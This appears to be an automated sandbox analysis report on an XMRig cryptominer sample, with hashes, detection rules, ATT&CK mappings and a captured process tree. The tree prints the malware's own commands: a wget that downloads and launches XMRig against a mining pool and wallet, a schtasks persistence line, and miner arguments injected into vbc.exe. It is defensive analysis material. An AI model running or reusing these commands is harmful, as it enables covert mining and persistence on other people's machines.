xmrig | 8062eb6eea56d33e35ea32f6eef98636bbd66c2d177c1889c4f0a960b0d14d47

General

Target

9b3430f42a0fb00d014c2fa208662865.exe
Size

4.8MB
MD5

9b3430f42a0fb00d014c2fa208662865
SHA1

09a16508bcc0a6da90c272daa2eff627ccd3205d
SHA256

8062eb6eea56d33e35ea32f6eef98636bbd66c2d177c1889c4f0a960b0d14d47
SHA512

d2887d08a66e10af1e89fb60f2a4f8d7bae7dc5cccc0301a70cb5ff120094c5e6247b44cf3b1b2b1c7e5d48e687319b842a721d757ebb44cf484ef766db92e29
SSDEEP

98304:CdlaF/1RByjAQG/Mul2rq/aReDkizMeQUh:CdYvkji/Mul2rVe4iwVUh

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/2172-20-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-24-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-26-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-25-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-23-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-27-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-28-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-30-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-32-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2172-31-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/1176-1-0x0000000000530000-0x0000000000A0A000-memory.dmp	net_reactor
behavioral2/files/0x0008000000023c95-9.dat	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	.exe

Executes dropped EXE 1 IoCs

pid	Process
1416	.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1416 set thread context of 2172	1416	.exe	95

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2172-17-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-19-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-20-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-24-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-26-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-25-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-23-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-27-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-28-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-30-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-32-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2172-31-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2264	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1416	.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1176	9b3430f42a0fb00d014c2fa208662865.exe
Token: SeDebugPrivilege	1416	.exe
Token: SeLockMemoryPrivilege	2172	vbc.exe
Token: SeLockMemoryPrivilege	2172	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2172	vbc.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1176 wrote to memory of 4328	1176	9b3430f42a0fb00d014c2fa208662865.exe	85
PID 1176 wrote to memory of 4328	1176	9b3430f42a0fb00d014c2fa208662865.exe	85
PID 4328 wrote to memory of 2264	4328	cmd.exe	87
PID 4328 wrote to memory of 2264	4328	cmd.exe	87
PID 4328 wrote to memory of 1416	4328	cmd.exe	90
PID 4328 wrote to memory of 1416	4328	cmd.exe	90
PID 1416 wrote to memory of 1904	1416	.exe	91
PID 1416 wrote to memory of 1904	1416	.exe	91
PID 1904 wrote to memory of 3016	1904	cmd.exe	93
PID 1904 wrote to memory of 3016	1904	cmd.exe	93
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95
PID 1416 wrote to memory of 2172	1416	.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\9b3430f42a0fb00d014c2fa208662865.exe
C:\Users\Admin\AppData\Local\Temp\9b3430f42a0fb00d014c2fa208662865.exe wget "https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-jammy-x64.tar.gz" && tar xvf xmrig-6.22.0-jammy-x64.tar.gz && cd xmrig-6.22.0 && ./xmrig --donate-level 5 -o rx-us.unmineable.com:3333 -u TRX:TX1itTERFgpH3ahh3E6hsSazdnVo8hEtry.21-11 -p x -a rx/0
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8954.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2264
- - C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
    "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1904
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work2 -a rx/0 --donate-level 1 --opencl
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

Filesize
4.8MB

MD5
9b3430f42a0fb00d014c2fa208662865

SHA1
09a16508bcc0a6da90c272daa2eff627ccd3205d

SHA256
8062eb6eea56d33e35ea32f6eef98636bbd66c2d177c1889c4f0a960b0d14d47

SHA512
d2887d08a66e10af1e89fb60f2a4f8d7bae7dc5cccc0301a70cb5ff120094c5e6247b44cf3b1b2b1c7e5d48e687319b842a721d757ebb44cf484ef766db92e29

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8954.tmp.bat

Filesize
168B

MD5
5f25e29b84fdfe9a67fa9f04e7263049

SHA1
31edaf8d2f246e027d716eb3692b65127d51577e

SHA256
2c90d80284d3461cf4787d38a5dd11bd2e8d7c0b2bfc4a9b5bfa4c7496b5da67

SHA512
826c3a261e6944574bdeee5e7af0c56fe3cc33a7c51bab50a70422f755844c5aa63268b386be4afb75bc6984f46d0ca0671116273a83c4419360ec7fbded115e

Download Submit
memory/1176-0-0x00007FFB34543000-0x00007FFB34545000-memory.dmp

Filesize
8KB

Download
memory/1176-1-0x0000000000530000-0x0000000000A0A000-memory.dmp

Filesize
4.9MB

Download
memory/1176-7-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

Filesize
10.8MB

Download
memory/1176-15-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

Filesize
10.8MB

Download
memory/1416-12-0x00007FFB33BC0000-0x00007FFB34681000-memory.dmp

Filesize
10.8MB

Download
memory/1416-13-0x00007FFB33BC0000-0x00007FFB34681000-memory.dmp

Filesize
10.8MB

Download
memory/1416-14-0x00007FFB33BC0000-0x00007FFB34681000-memory.dmp

Filesize
10.8MB

Download
memory/1416-16-0x00007FFB33BC0000-0x00007FFB34681000-memory.dmp

Filesize
10.8MB

Download
memory/1416-22-0x00007FFB33BC0000-0x00007FFB34681000-memory.dmp

Filesize
10.8MB

Download
memory/2172-21-0x00000138C4D90000-0x00000138C4DB0000-memory.dmp

Filesize
128KB

Download
memory/2172-19-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-20-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-17-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-24-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-26-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-25-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-23-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-27-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-28-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-30-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-32-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2172-31-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads